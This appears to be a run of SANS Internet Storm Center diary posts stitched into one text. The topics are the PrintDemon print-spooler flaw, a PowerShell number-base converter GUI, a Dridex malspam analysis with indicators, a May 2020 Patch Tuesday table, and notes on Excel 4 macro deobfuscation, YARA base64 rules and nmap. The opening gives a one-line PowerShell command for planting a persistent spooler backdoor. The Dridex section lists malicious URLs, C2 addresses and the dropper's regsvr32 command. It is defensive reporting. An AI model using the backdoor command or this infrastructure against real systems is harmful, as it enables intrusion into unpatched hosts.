https://windows-internals.com/printdemon-cve-2020-1048/

Long story short, on an unpatched system, you can plant a persistent backdoor on a target host with this one-liner in PowerShell:

Add-PrinterPort -Name c:\windows\system32\ualapi.dll Then "print" an MZ file (DOS excecutable) to that printer to light it up.

As noted, this backdoor is persistent, and will remain in place even after you apply the patch!

Moral of the story?  For me, there are a couple of them:

• Don't put too much stock in risk ratings assigned to patches.  "Lows" and "Mediums" can bite you just as badly as vulnerabilities rated as "High".  This goes for patches as well as scan results or pentest results.  If your policy is to patch only Severe and High rated issues, you'll pay for that eventually.
• Also, it's a good thing that more vendors are going to monolithic patching.  If you apply the current patch set from Microsoft, you get them all - there's no more "cherry picking" allowed!

Anymore, if you see resistence to resolving any security issues in your organization (even lows and mediums), my take would be to tackle this in your Corporate Policies.  To help to ensure that any security issues are resolved - whether via patching or correcting a config issue, have your policy call for a formal sign-off for the decision to NOT fix each of those issues.  You'll find that management will be reluctant to put in writing "we're choosing to not fix this problem".

Kudos to @peleghd (Peleg Hadar) and Tomer Bar of @safebreach for the initial research and disclosure to Microsoft (acknowledgements here: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1048 ). 
Also Yarden Shafir and Alex Ionescu of Winsider for related research and the detailed post referenced in this article.

===============
Rob VandenBrink
www.coherentsecurity.com

I don't know about you, but I find myself doing conversions from decimal to hex and binary several times per day.  For me, working out binary equivalents of decimal numbers is something I do all the time to verify subnet masks, network and broadcast addresses - also in answering "is this IP in the same subnet or in an adjacent network?"  Conversions of the same type crop up all the time in decoding constructs in packets.  Wireshark and Burp will both often anticipate what you want to do on this score, but not always.

Anyway, this all started with a twitter conversation with Lee Holmes - he said that he hasn't used Windows Calc since Powershell got "grown up" math, I said that I used calc all the time for binary <-> decimal all the time, especially if I'm on a client server (and don't have my trusty HP 35s or 16c calculator or emulator handy).  Of course, immediately after that conversation I started coding :-)

First of all ,there are more than a few ways to do base conversion in Powershell.  I'll start with the obligatory shout out to the Windows PowerShell Cookbook (I'll never get tired of O'Reilly books) - oddly enough Lee is the author of that book!
https://www.amazon.com/gp/product/B00ARN9MEK/ref=dbs_a_def_rwt_hsch_vapi_tkin_p1_i0
specifically this set of "recipes" at http://powershellcookbook.com/recipe/VoMp/convert-numbers-between-bases

The main thing to remember though is that a number is a number, and how you print it is up to you.  If you actually want to *store* a number in a different base, you need to convert it to a string value and store the string.

So to convert a number to a different base:

$result = [Convert]::ToString($Number,$BaseToConvertTo)

If you are starting with a string value in decimal, you'll want to convert it to an integer first:

$result = [Convert]::ToString([int]$NumberAsAString,$BaseToConvertTo)

Or if you are starting from some other base, you'll want to convert back.  A handy shortcut, PowerShell understands that "0x4E" is a hex 4E - we'll use that to convert from Hex number in a string to Decimal:

[Convert]::ToString("0x"+$hexnum, 10) or, an even simpler approach (thanks Lee!): $decnum = [int]("0x"+$hexnum)

or Binary to Decimal:

$decnum = [convert]::toint32($binnum,2)

Note that I converted to int32 in this case, since printing a number by default will be in decimal.

Binary to hex:
Convert to $decnum above, then convert dec to hex:

$hexnum = [convert]::tostring($decnum,16)

So fun all around, but these don't tend to roll off your fingers like using a calculator does (especially if that calculator is RPN).  Anyway, this got me to thinking about writing an actual app in Powershell, and looking at GUI support in the native language.   Yes, PowerShell does Windows!

Some snips below illustrate various windowing features.  First, a screenshot of the app to refer to:

The input box is where we input the starting value:

############################################## text box - INPUT $TextInputBox = New-Object System.Windows.Forms.TextBox $TextInputBox.Location = New-Object System.Drawing.Size(20,50) $TextInputBox.Size = New-Object System.Drawing.Size(300,150) $TextInputBox.Height = 150 $TextInputBox.font = New-Object System.Drawing.Font("Lucida Console",32,[System.Drawing.FontStyle]::Regular) $Form.Controls.Add($TextInputBox)

Radio buttons are easy to code up too - I use these to select the source base of the number we just typed in.  Note that we're setting the size of the box that the buttons live in as a "group box".  Sizes are all defined, and the fonts and font size are as well.  This code all works as-is on a 4k screen, I haven't tried it at other resolutions (please let me know if it works without tinkering on different res screens?):

############################################## group boxes $groupBox = New-Object System.Windows.Forms.GroupBox $groupBox.Location = New-Object System.Drawing.Size(350,20) $groupBox.size = New-Object System.Drawing.Size(500,400) $groupBox.text = "Source Base" $groupbox.font = New-Object System.Drawing.Font("Lucida Console",16,[System.Drawing.FontStyle]::Regular) $Form.Controls.Add($groupBox) ############################################## ############################################## radio buttons $RadioButton1 = New-Object System.Windows.Forms.RadioButton $RadioButton1.Location = new-object System.Drawing.Point(15,50) $RadioButton1.size = New-Object System.Drawing.Size(800,70) $RadioButton1.Checked = $true $RadioButton1.Text = "Decimal (0d)" $groupBox.Controls.Add($RadioButton1)   $RadioButton2 = New-Object System.Windows.Forms.RadioButton $RadioButton2.Location = new-object System.Drawing.Point(15,130) $RadioButton2.size = New-Object System.Drawing.Size(800,70) $RadioButton2.Text = "Hexadecimal (0x)" $groupBox.Controls.Add($RadioButton2)

The "GO" button takes the values entered and sends it off to be converted in every-which format in a function:

############################################## GO button $Button = New-Object System.Windows.Forms.Button $Button.Location = New-Object System.Drawing.Size(100,150) $Button.Size = New-Object System.Drawing.Size(220,70) $Button.Font = New-Object System.Drawing.Font("Lucida Console",16,[System.Drawing.FontStyle]::Regular) $Button.Text = "CONVERT" $Button.Add_Click({SrcBase $TextInputBox.Text}) $Form.Controls.Add($Button)

Finally, outputting the number to an output box is easy too.  First create the output box:

##############################################  text fields - OUTPUT $outputBox = New-Object System.Windows.Forms.TextBox $outputBox.Location = New-Object System.Drawing.Size(100,475) $outputBox.Size = New-Object System.Drawing.Size(1000,300) $outputBox.MultiLine = $True $outputBox.Font = New-Object System.Drawing.Font("Lucida Console",32,[System.Drawing.FontStyle]::Regular) $Form.Controls.Add($outputBox)

Then calculate what goes into it (the "GO" function), then output the result:

$NL = "`r`n" $TAB="`t" $result = $NL+"BIN (0b)"+$TAB + $binnum +$NL+"HEX (0x)"+$TAB + $hexnum+$NL+ "DEC (0d)"+$TAB+ $decnum $outputBox.AppendText($result)

Just for fun, I added ASCII conversions too:
decimal to ascii:  [char][int]$decnum

ascii to decimal can be more fun - first convert it to a list of numbers:
$list = [int[]][char[]]$asciistring

Then in a loop convert each list number to hex or binary string representation:
       $d = $list[$i]
       $h = [convert]::tostring($d,16)
       $b = [convert]::tostring($d,2)

The ASCII conversion will convert a string-to-values (yes you can use longer strings, but you'll need to scroll to see the results), but values-to-strings is a single unicode character proposition (so the input values are 0-65535 or 0x0000 -0xFFFF)

As in most GUI apps, this is more or less 20 lines of code and 150-ish lines of formatting, I/O, and yes, input validation - I do check if the value input is valid for the source base.

What I haven't tackled correctly yet is screen resolution.  At the moment this little app all hard-coded for a 4k screen, so it's not going to render all that well on other resolutions, especially with lower pixel counts.  The better approach would be to set all of the size and position numbers to variables, and get the screen resolution during startup.

For a single screen, that's easy - WMI is your go-to:

(Get-WmiObject -Class Win32_VideoController) | select CurrentHorizontalResolution,CurrentVerticalResolution CurrentHorizontalResolution CurrentVerticalResolution --------------------------- -------------------------                        3840                      2160

This is a bit more involved for a multiple screen system:

Add-Type -AssemblyName System.Windows.Forms [System.Windows.Forms.Screen]::AllScreens.workingarea | select width,height Width Height ----- ------  3840   2080  3840   2080  3840   2080

With this information in hand, the plan is to change each size / position number to a list of values, so that you can then set a "$res" variable to then use as an index to each list to get the right value for the current screen.

As with everything I post, the source for this is in my github, at https://github.com/robvandenbrink

Got a neat idea that a GUI app in Powershell would be just the ticket for?  Or better yet, a link to your github for one that you've written?  Please, share using our comment form!  If it's an idea that appeals, it might become a future post!

Want to dig deeper into PowerShell with a security focus?  Check out SANS SEC505 - you can take it online at the SANSFIRE conference, which is virtual this year ( https://www.sans.org/event/sansfire-2020/course/securing-windows-with-powershell ). If you've taken SEC505 before, re-read the current description, it looks like there's a ton of new content!

===============
Rob VandenBrink
www.coherentsecurity.com

Introduction

In recent weeks, I continue to run across examples of malicious spam (malspam) pushing Dridex malware.  While malspam pushing Dridex can use attachments (usually Excel spreadsheets with malicious macros), I tend to focus on malspam using links to zip archives for Dridex.  Today's diary, provides a quick rundown of link-based Dridex activity on Tuesday, 2020-05-12.

Chain of events for these infections:

1. Link from malspam
2. Downloaded zip archive
3. Extracted and execute VBS file
4. Initial Dridex DLL dropped under C:\ProgramData\ directory
5. HTTPS/SSL/TLS traffic caused by Dridex
6. Three different Dridex DLLs loaded through copies of legitimate system files made persistent through a Windows registry entry, a scheduled task, and a shortcut in the Windows startup menu

The malspam

See the following images for 4 examples of the 14 samples I collected on Tuesday 2020-05-12.

Shown above:  Malspam pushing Dridex malware on Tuesday 2020-05-12, example 1 of 4.

Shown above:  Malspam pushing Dridex malware on Tuesday 2020-05-12, example 2 of 4.

Shown above:  Malspam pushing Dridex malware on Tuesday 2020-05-12, example 3 of 4.

Shown above:  Malspam pushing Dridex malware on Tuesday 2020-05-12, example 4 of 4.

Downloading the zip archive

When successfully downloading a zip archive from one of the email links, you get a redirect to another URL that returns the zip.  These URLs are aware of the IP address you're coming from, so if you're a researcher coming from a VPN or other address the server doesn't like, it will redirect you to a decoy website.  If you try the same email link more than once (and you're from the same IP address), each successive attempt will give you the decoy website.  These decoy websites are different for each new wave of Dridex malspam that uses links for zip archives.

Shown above:  Link from an email provides a successful redirect that will return a malicious zip archive.

Shown above:  Saving the malicious zip archive.

Shown above:  Link from an email redirects to a decoy website.

Shown above:  Decoy website when the server doesn't like the IP you're coming from.  The decoy site from the 2020-05-12 wave was www.ppsspp.com.

The zip archive contains a VBS file, which will use Windows script host to run and install Dridex on a vulnerable Windows host.

Shown above:  The downloaded zip archive contains a VBS file.

Shown above:  Start of the contents on the extracted VBS file.

Infection traffic

Infection traffic was typical for what I normally see with Dridex infections.

Shown above:  Traffic from an infected Windows 10 host filtered in Wireshark.  Dridex traffic is noted with the arrows.

Indicators of Compromise (IoCs)

Data from 14 email examples of malspam with links to zip archives pushing Dridex:

• Date: Tue, 12 May 2020 10:14:37 -0700
• Date: Tue, 12 May 2020 10:22:34 -0700
• Date: Tue, 12 May 2020 10:42:42 -0700
• Date: Tue, 12 May 2020 10:52:58 -0700
• Date: Tue, 12 May 2020 11:17:48 -0700
• Date: Tue, 12 May 2020 11:21:09 -0700
• Date: Tue, 12 May 2020 11:41:04 -0700
• Date: Tue, 12 May 2020 11:51:54 -0700
• Date: Tue, 12 May 2020 11:57:37 -0700
• Date: Tue, 12 May 2020 12:12:12 -0700
• Date: Tue, 12 May 2020 12:24:10 -0700
• Date: Tue, 12 May 2020 12:32:41 -0700
• Date: Tue, 12 May 2020 12:49:01 -0700
• Date: Tue, 12 May 2020 12:56:48 -0700

7 different sending mail servers:

• Received: from angelqtbw.us ([147.135.60.145])
• Received: from ariankacf.us ([147.135.60.150])
• Received: from arzenitlu.us ([51.81.254.89])
• Received: from falhiblaqv.us ([147.135.99.6])
• Received: from hotteswc.us ([147.135.60.146])
• Received: from ppugsasiw.us ([147.135.99.18])
• Received: from pufuletzpb.us ([147.135.99.8])

14 different spoofed senders:

• From: Abg Deem <qytahae@hotteswc.us>
• From: Abg Icarus <fecavu@pufuletzpb.us>
• From: Abg Navy <pozhubae@pufuletzpb.us>
• From: Amity Save <rymushuki@angelqtbw.us>
• From: Arid Save <hygaenuta@angelqtbw.us>
• From: Chorus Union <dulono@arzenitlu.us>
• From: Continuum Union <betypuso@arzenitlu.us>
• From: Cool Union <lefele@ppugsasiw.us>
• From: Essence Group <hezhyhimu@angelqtbw.us>
• From: Goal Save <havysha@falhiblaqv.us>
• From: Laced Save <rukazha@hotteswc.us>
• From: Seeds Group <gyzhixe@hotteswc.us>
• From: Sleeve Union <disypy@ariankacf.us>
• From: XORtion <mexewe@hotteswc.us>

14 different subject lines:

• Subject: Announcement N-75067CV306500
• Subject: Customer your Booking N-1341KM290237
• Subject: Invoice 9497989GM301562
• Subject: Invoice-376198HW271105
• Subject: Mobile Transaction 420531LA570659
• Subject: Notification-9102YS147581
• Subject: Payment Received 245906CW349815
• Subject: Payment Received 7792817SK97565
• Subject: Prevention_216443WF226975
• Subject: Prevention_739687SL4713
• Subject: Recipient your Inquiry N-0650581WC836637
• Subject: Report-03551HJ5068
• Subject: Your Bell e-Bill is ready 70605KU2719
• Subject: Your Transaction was Approved 8877WA048712

13 different links from the emails:

• hxxp://brisbaneair[.]com/class.cache.php
• hxxp://carbonne-immobilier[.]com/images/2016/icons/list/api.core.php
• hxxp://edgewaterunitedmethodist[.]org/wp-content/plugins/wordpress-seo/frontend/schema/api.engine.php
• hxxp://inter-dekor[.]hr/wp-content/uploads/wysija/bookmarks/medium/framework.php
• hxxp://iris[.]gov[.]mn/app/framework.php
• hxxp://masterstvo[.]org/modules/mod_rokgallery/templates/showcase_responsive/dark/cache.php
• hxxp://www[.]consultationdocteurpronobis[.]fr/engine.php
• hxxp://www[.]degalmun.jjcars[.]es/owncloud/apps/encryption/lib/AppInfo/include.php
• hxxps://azparksfoundation[.]org/wp-content/themes/twentynineteen/sass/blocks/styles.php
• hxxps://equineantipoaching[.]com/wp-includes/sodium_compat/namespaced/Core/ChaCha20/lib.php
• hxxps://rudhyog[.]in/surat/include/login/api.core.php
• hxxps://www[.]betaalbare-website[.]be/wp-content/plugins/better-wp-security/dist/core/api.engine.php
• hxxps://www[.]boosh[.]io/class.lib.php

Traffic from an infected Windows host

• 159.69.93[.]233 port 80 - inter-dekor[.]hr - GET /wp-content/uploads/wysija/bookmarks/medium/framework.php
• 185.37.228[.]106 port 80 - www[.]abogadoaccidenteslaboralesen-madrid[.]com - GET /wp-content/plugins/drpsassembly/css/inc.php?[string of variables and base64-encoded data]
• 178.128.83[.]136 port 443 - no associated domain - HTTPS/SSL/TLS traffic caused by Dridex
• 138.122.143[.]41 port 8443 - no associated domain - HTTPS/SSL/TLS traffic caused by Dridex
• 109.169.24[.]37 port 453 - no associated domain - HTTPS/SSL/TLS traffic caused by Dridex
• 70.184.254[.]247 port 443 - no associated domain - HTTPS/SSL/TLS traffic caused by Dridex

Examples of malware from an infected Windows host:

SHA256 hash: ff8e2e72b1282b72f1a97abb30553d2b8d53366f429083f041c553d2a90878f6

• File size: 571,519 bytes
• File name: Report_224726231283.zip
• File description: File downloaded from link in malspam pushing Dridex

SHA256 hash: a61b462f61f526c4f9d070ba792ecd4a8b842f815ed944b7f38169698bed047e

• File size: 1,260,284 bytes
• File name: Report~224726231283.vbs
• File description: VBS file extracted from downloaded zip archive (designed to infect vulnerable host with Dridex)

SHA256 hash: 223e3e76df847b4e443574e616e56b348213bd0361a7f6789d21754de571cce7

• File size: 714,240 bytes
• File location: C:\ProgramData\qEWTLCuYyH.dll
• File description: Initial Dridex DLL dropped by above VBS file
• Run method: regsvr32.exe -s C:\ProgramData\qEWTLCuYyH.dll

SHA256 hash: 9a9e0ab271f8a27f689a350db3cecc84320dd3c708085c75d14adbafdd9da2a1

• File size: 700,416 bytes
• File location: C:\Users\[username]\AppData\Roaming\Microsoft\Windows\CloudStore\DyGykefYBHT\DUser.dll
• File description: Dridex DLL persistent on an infected Windows host (1 of 3)
• File note: DLL loaded by bdeunlock.exe in the same directory, persistent through registry update

SHA256 hash: 9197396ed203f804226fb94548b4b899a46feaa7f7ff963fbccff232b5a79277

• File size: 696,320 bytes
• File location: C:\Users\[username]\AppData\Roaming\Thunderbird\Profiles\mng7115w.default-release\crashes\Niby8ztx\VERSION.dll
• File description: Dridex DLL persistent on an infected Windows host (2 of 3)
• File note: DLL loaded by iexpress.exe in the same directory, persistent through Startup menu shortcut

SHA256 hash: 28b9c07de53e41e7b430147df0afeab278094f3585de9d78442c298b0f5209e3

• File size: 978,944 bytes
• File location: C:\Users\[username]\AppData\Roaming\Adobe\Acrobat\DC\JSCache\Y3skYJ7F3B\DUI70.dll
• File description: Dridex DLL persistent on an infected Windows host (3 of 3)
• File note: DLL loaded by bdeunlock.exe in the same directory, persistent through a scheduled task

Final words

When a Dridex-infected Windows host is rebooted, the locations, names, and file hashes of the persistent Dridex DLL files are changed.

Dridex remains a feature of our threat landscape, and it will likely continue to be.  Windows 10 hosts that are fully patched and up-to-date have a very low risk of getting infected from Dridex, so it pays to follow best security practices.

Email examples, malware samples, and a pcap from an infected Windows host used in today's diary can be found here.

---

Brad Duncan
brad [at] malware-traffic-analysis.net

This month we got an average Patch Tuesday with patches for 111 vulnerabilities total. Sixteen of them are critical and, according to Microsoft, none of them was previously disclosed or are being exploited.

Amongst critical vulnerabilities, there is a remote code execution (RCE) on Media Foundation caused by a memory corruption vulnerability (CVE-2020-1126). To exploit the vulnerability, an attacker has to convince the victim to open a specially crafted document or access a malicious webpage. It affects Windows 10, Windows Server 2016, and 2019.

Another RCE critical vulnerability, with an exploitability index rated as “more likely”, affects Microsoft Graphics Components (CVE-2020-1153). It affects most of the supported Windows versions – from Windows 7 to Windows Server 2019. 

The highest CVSS v3 score this month (8.80) was given to CVE-2020-1126 – the one that affects Media Foundation (mentioned above).

See Renato's dashboard for a more detailed breakout: https://patchtuesdaydashboard.com

Description
CVE	Disclosed	Exploited	Exploitability (old versions)	current version	Severity	CVSS Base (AVG)	CVSS Temporal (AVG)
.NET Core & .NET Framework Denial of Service Vulnerability
%%cve:2020-1108%%	No	No	Less Likely	Less Likely	Important
.NET Framework Elevation of Privilege Vulnerability
%%cve:2020-1066%%	No	No	Less Likely	Less Likely	Important
ASP.NET Core Denial of Service Vulnerability
%%cve:2020-1161%%	No	No	Less Likely	Less Likely	Important
Chakra Scripting Engine Memory Corruption Vulnerability
%%cve:2020-1037%%	No	No	Less Likely	Less Likely	Critical	4.2	3.8
Connected User Experiences and Telemetry Service Denial of Service Vulnerability
%%cve:2020-1084%%	No	No	Less Likely	Less Likely	Important	5.5	5.0
%%cve:2020-1123%%	No	No	Less Likely	Less Likely	Important	5.5	5.0
DirectX Elevation of Privilege Vulnerability
%%cve:2020-1140%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
Internet Explorer Memory Corruption Vulnerability
%%cve:2020-1062%%	No	No	More Likely	More Likely	Critical	6.4	5.8
%%cve:2020-1092%%	No	No	Less Likely	Less Likely	Important	6.4	5.8
Jet Database Engine Remote Code Execution Vulnerability
%%cve:2020-1175%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-1051%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-1174%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-1176%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
MSHTML Engine Remote Code Execution Vulnerability
%%cve:2020-1064%%	No	No	Less Likely	Less Likely	Critical	6.4	5.8
Media Foundation Memory Corruption Vulnerability
%%cve:2020-1028%%	No	No	Less Likely	Less Likely	Critical	7.8	7.0
%%cve:2020-1126%%	No	No	Less Likely	Less Likely	Critical	8.8	7.9
%%cve:2020-1150%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-1136%%	No	No	Less Likely	Less Likely	Critical	7.8	7.0
Microsoft Active Directory Federation Services Cross-Site Scripting Vulnerability
%%cve:2020-1055%%	No	No	Less Likely	Less Likely	Important
Microsoft Color Management Remote Code Execution Vulnerability
%%cve:2020-1117%%	No	No	Less Likely	Less Likely	Critical	8.8	7.9
Microsoft Dynamics 365 (On-Premise) Cross Site Scripting Vulnerability
%%cve:2020-1063%%	No	No	Less Likely	Less Likely	Important
Microsoft Edge Elevation of Privilege Vulnerability
%%cve:2020-1056%%	No	No	Less Likely	Less Likely	Critical	5.4	4.9
Microsoft Edge PDF Remote Code Execution Vulnerability
%%cve:2020-1096%%	No	No	Less Likely	Less Likely	Important	4.2	3.8
Microsoft Edge Spoofing Vulnerability
%%cve:2020-1059%%	No	No	Less Likely	Less Likely	Important	4.3	3.9
Microsoft Excel Remote Code Execution Vulnerability
%%cve:2020-0901%%	No	No	Less Likely	Less Likely	Important
Microsoft Graphics Components Remote Code Execution Vulnerability
%%cve:2020-1153%%	No	No	More Likely	Less Likely	Critical	7.8	7.0
Microsoft Office SharePoint XSS Vulnerability
%%cve:2020-1099%%	No	No	Less Likely	Less Likely	Important
%%cve:2020-1101%%	No	No	Less Likely	Less Likely	Important
%%cve:2020-1100%%	No	No	Less Likely	Less Likely	Important
%%cve:2020-1106%%	No	No	Less Likely	Less Likely	Important
Microsoft Power BI Report Server Spoofing Vulnerability
%%cve:2020-1173%%	No	No	Less Likely	Less Likely	Important
Microsoft Script Runtime Remote Code Execution Vulnerability
%%cve:2020-1061%%	No	No	Less Likely	Less Likely	Important	6.4	5.8
Microsoft SharePoint Information Disclosure Vulnerability
%%cve:2020-1103%%	No	No	Less Likely	Less Likely	Important
Microsoft SharePoint Remote Code Execution Vulnerability
%%cve:2020-1023%%	No	No	Less Likely	Less Likely	Critical
%%cve:2020-1024%%	No	No	Less Likely	Less Likely	Critical
%%cve:2020-1102%%	No	No	Less Likely	Less Likely	Critical
Microsoft SharePoint Server Remote Code Execution Vulnerability
%%cve:2020-1069%%	No	No	Less Likely	Less Likely	Critical
Microsoft SharePoint Spoofing Vulnerability
%%cve:2020-1107%%	No	No	Less Likely	Less Likely	Important
%%cve:2020-1104%%	No	No	Less Likely	Less Likely	Important
%%cve:2020-1105%%	No	No	Less Likely	Less Likely	Important
Microsoft Windows Elevation of Privilege Vulnerability
%%cve:2020-1010%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-1068%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-1079%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
Microsoft Windows Transport Layer Security Denial of Service Vulnerability
%%cve:2020-1118%%	No	No	Less Likely	Less Likely	Important	8.6	7.7
Scripting Engine Memory Corruption Vulnerability
%%cve:2020-1065%%	No	No	Less Likely	Less Likely	Critical	4.2	3.8
VBScript Remote Code Execution Vulnerability
%%cve:2020-1035%%	No	No	More Likely	More Likely	Important	6.4	5.8
%%cve:2020-1058%%	No	No	More Likely	More Likely	Important	6.4	5.8
%%cve:2020-1060%%	No	No	More Likely	More Likely	Important	6.4	5.8
%%cve:2020-1093%%	No	No	Less Likely	Less Likely	Critical	6.4	5.8
Visual Studio Code Python Extension Remote Code Execution Vulnerability
%%cve:2020-1192%%	No	No	Less Likely	Less Likely	Critical
%%cve:2020-1171%%	No	No	Less Likely	Less Likely	Important
Win32k Elevation of Privilege Vulnerability
%%cve:2020-1054%%	No	No	More Likely	More Likely	Important	7.0	6.3
%%cve:2020-1143%%	No	No	More Likely	More Likely	Important	7.0	6.3
Windows Background Intelligent Transfer Service Elevation of Privilege Vulnerability
%%cve:2020-1112%%	No	No	Less Likely	Less Likely	Important	8.5	7.6
Windows CSRSS Information Disclosure Vulnerability
%%cve:2020-1116%%	No	No	Less Likely	Less Likely	Important	5.5	5.0
Windows Clipboard Service Elevation of Privilege Vulnerability
%%cve:2020-1111%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-1121%%	No	No	Less Likely	Less Likely	Important	7.0	6.3
%%cve:2020-1165%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-1166%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
Windows Common Log File System Driver Elevation of Privilege Vulnerability
%%cve:2020-1154%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
Windows Denial of Service Vulnerability
%%cve:2020-1076%%	No	No	Less Likely	Less Likely	Important	5.5	5.0
Windows Error Reporting Elevation of Privilege Vulnerability
%%cve:2020-1021%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-1082%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-1088%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
Windows Error Reporting Manager Elevation of Privilege Vulnerability
%%cve:2020-1132%%	No	No	Less Likely	Less Likely	Important	7.0	6.3
Windows GDI Elevation of Privilege Vulnerability
%%cve:2020-1142%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
Windows GDI Information Disclosure Vulnerability
%%cve:2020-0963%%	No	No	Less Likely	Less Likely	Important	5.5	5.0
%%cve:2020-1179%%	No	No	Less Likely	Less Likely	Important
%%cve:2020-1141%%	No	No	Less Likely	Less Likely	Important	5.5	5.0
%%cve:2020-1145%%	No	No	Less Likely	Less Likely	Important	5.5	5.0
Windows Graphics Component Elevation of Privilege Vulnerability
%%cve:2020-1135%%	No	No	More Likely	More Likely	Important	7.8	7.0
Windows Hyper-V Denial of Service Vulnerability
%%cve:2020-0909%%	No	No	Less Likely	Less Likely	Important	7.5	6.7
Windows Installer Elevation of Privilege Vulnerability
%%cve:2020-1078%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
Windows Kernel Elevation of Privilege Vulnerability
%%cve:2020-1114%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-1087%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
Windows Kernel Information Disclosure Vulnerability
%%cve:2020-1072%%	No	No	Less Likely	Less Likely	Important	5.5	5.0
Windows Print Spooler Elevation of Privilege Vulnerability
%%cve:2020-1048%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-1070%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
Windows Printer Service Elevation of Privilege Vulnerability
%%cve:2020-1081%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
Windows Push Notification Service Elevation of Privilege Vulnerability
%%cve:2020-1137%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
Windows Remote Access Common Dialog Elevation of Privilege Vulnerability
%%cve:2020-1071%%	No	No	Less Likely	Less Likely	Important	6.8	6.1
Windows Remote Code Execution Vulnerability
%%cve:2020-1067%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
Windows Runtime Elevation of Privilege Vulnerability
%%cve:2020-1149%%	No	No	Less Likely	Less Likely	Important	7.0	6.3
%%cve:2020-1151%%	No	No	Less Likely	Less Likely	Important	7.0	6.3
%%cve:2020-1155%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-1156%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-1157%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-1158%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-1077%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-1086%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-1090%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-1125%%	No	No	Less Likely	Less Likely	Important	7.0	6.3
%%cve:2020-1139%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-1164%%	No	No	Less Likely	Less Likely	Important	7.0	6.3
Windows State Repository Service Elevation of Privilege Vulnerability
%%cve:2020-1124%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-1134%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-1144%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-1186%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-1189%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-1190%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-1131%%	No	No	Less Likely	Less Likely	Important	5.5	5.0
%%cve:2020-1184%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-1185%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-1187%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-1188%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-1191%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
Windows Storage Service Elevation of Privilege Vulnerability
%%cve:2020-1138%%	No	No	Less Likely	Less Likely	Important	7.0	6.3
Windows Subsystem for Linux Information Disclosure Vulnerability
%%cve:2020-1075%%	No	No	Less Likely	Less Likely	Important	5.5	5.0
Windows Task Scheduler Security Feature Bypass Vulnerability
%%cve:2020-1113%%	No	No	Less Likely	Less Likely	Important	5.3	4.8
Windows Update Stack Elevation of Privilege Vulnerability
%%cve:2020-1110%%	No	No	Less Likely	Less Likely	Important	7.8	7.0
%%cve:2020-1109%%	No	No	Less Likely	Less Likely	Important	7.8	7.0

 

--
Renato Marinho
Morphus Labs| LinkedIn|Twitter

Malicious Excel 4 macro documents become more prevalent. They are so obfuscated now, that analysis requires calculations of many formulas.

It's good to see that new analysis tools are being developed, like XLMMacroDeobfuscator.

Here is an example of a malicious Excel 4 macro document, analyzed with my tools:

We can see the calls, but not the actual values of the arguments: these require many formula calculations to recover IOCs like URLs.

This is what XLMMacroDeobfuscator tries to do: it's a free, open-source Python tool that tries to deobfuscate Excel 4 macros. For this sample, the tool was able to debofuscate the URL and filename.

Early versions of XLMMacroDeobfuscator required Excel, but the last version can also operate without Excel.

Remark that when I installed this tool, I had to install pywin32 too, which was not listed as a requirement.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

YARA version 4.0.0 was released.

One of its new features that caught my eye, is base64 strings.

This is the example rule for the base64 modifier from YARA's documentation:

rule Base64Example1
{
    strings:
        $a = "This program cannot" base64

    condition:
        $a
}

This rule will search for ASCII strings that are possible BASE64-encodings of ASCII string "This program cannot".

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

To elaborate on Xavier's and Bojan's excellent nmap diaries over the last few days, I thought that today might be a good day to go back to basics on nmap and demonstrate why nmap really is a security practitioner’s swiss army knife and should be in each of our testing toolkits.
If you just run the basic nmap command you are taking advantage of Fyodor’s team excellent work to make nmap more than just a basic port scanner. For example: 

$ nmap -sT <scan_target>

